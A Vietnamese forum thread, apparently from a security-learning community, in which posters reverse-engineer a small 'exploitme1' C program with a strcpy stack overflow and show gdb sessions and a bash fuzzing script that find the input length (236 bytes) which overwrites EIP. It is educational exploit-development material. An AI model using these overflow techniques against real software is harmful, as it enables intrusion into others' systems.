int doit(char *str) { strcpy((char *)((int)&str - 16), str); printf("%s\n", (char *)((int)&str - 16)); return 0; } int main(int argc, char *argv[]) { if (strlen(argv[1]) > 8) *(argv[1] + 8) = 0; doit(argv[1]); return 0; }
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không? Code:@StarGhost: Cậu reverse tương đối chuẩn, tuy nhiên theo mình thì ko có return 0 ở hàm doit. Anyway, cậu đã reverse code được rồi thì chạy dùm tớ cái này và giải thích hộ tớ Máy tớ là
int doit(char *str) { strcpy((char *)((int)&str - 16), str); printf("%s\n", (char *)((int)&str - 16)); return 0; } int main(int argc, char *argv[]) { if (strlen(argv[1]) > 8) *(argv[1] + 8) = 0; doit(argv[1]); return 0; }
$ gdb ./exploitme1 GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) run `python -c 'print "AAAA" + "BBBB" + "C"*497'` Starting program: /home/Cognac/exploitme1 `python -c 'print "AAAA" + "BBBB" + "C"*497'` AAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? ()]]>
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không? Code:Hi bác StarGhost, không biết bác có thể trình bày lại toàn bộ tiến trình mà bác đã reverse được code trên & 1 chút giải thích tại sao bác lại nhận biết được "bản thân executable bị lỗi segfault" không ? Em là newbie nhưng cũng rất hứng thú với topic này mặc dù trình độ còn rất kém ;) Thân,]]>
int doit(char *str) { strcpy((char *)((int)&str - 16), str); printf("%s\n", (char *)((int)&str - 16)); return 0; } int main(int argc, char *argv[]) { if (strlen(argv[1]) > 8) *(argv[1] + 8) = 0; doit(argv[1]); return 0; }
epilog của main: 0x0804840c <main+78>: leave 0x0804840d <main+79>: ret
leave = mov %ebp(overwrite 1 byte), %esp pop ebp //-->%esp = %esp + 4 ret= pop %esp jmp [%esp]
$cat off-by-one.sh #!/bin/bash LIMIT=600 TEST1="run \`python -c 'print \"A\"*" TEST2="'\`" for ((i=9; i<=LIMIT; i++)) do echo $TEST1$i$TEST2 >>list echo "if \$eip == 0x41414141" >>list echo " echo AHHHHHHHHHHHHHHHHHHH! Goodjob! Magic input="$i >>list echo " quit" >>list echo "end" >>list done exitđoạn script trên tạo ra một file "list" có nội dung đại loại như sau:
..........snip snip......... run `python -c 'print "A"*9'` if $eip == 0x41414141 echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=9 end run `python -c 'print "A"*10'` if $eip == 0x41414141 echo AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=10 end ...........snip snip........Sau đó vào gdb chạy
gdb ./exploitme 1 source list ............ Program received signal SIGILL, Illegal instruction. 0xbffff61a in ?? () AAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH! goodjob! Magic input=236 The program is running. Exit anyway? (y or n) [answered Y; input not from terminal] meg4tr0n@h4x0r:~/test$cho đến khi thấy nó hiện ra dòng goodjob thì dừng lại. Máy tui input là 236 byte sẽ overwrite đc EIP, ko biết máy các bác sao (đã disable ASLR) Tạm thời là thế. /megatron ]]>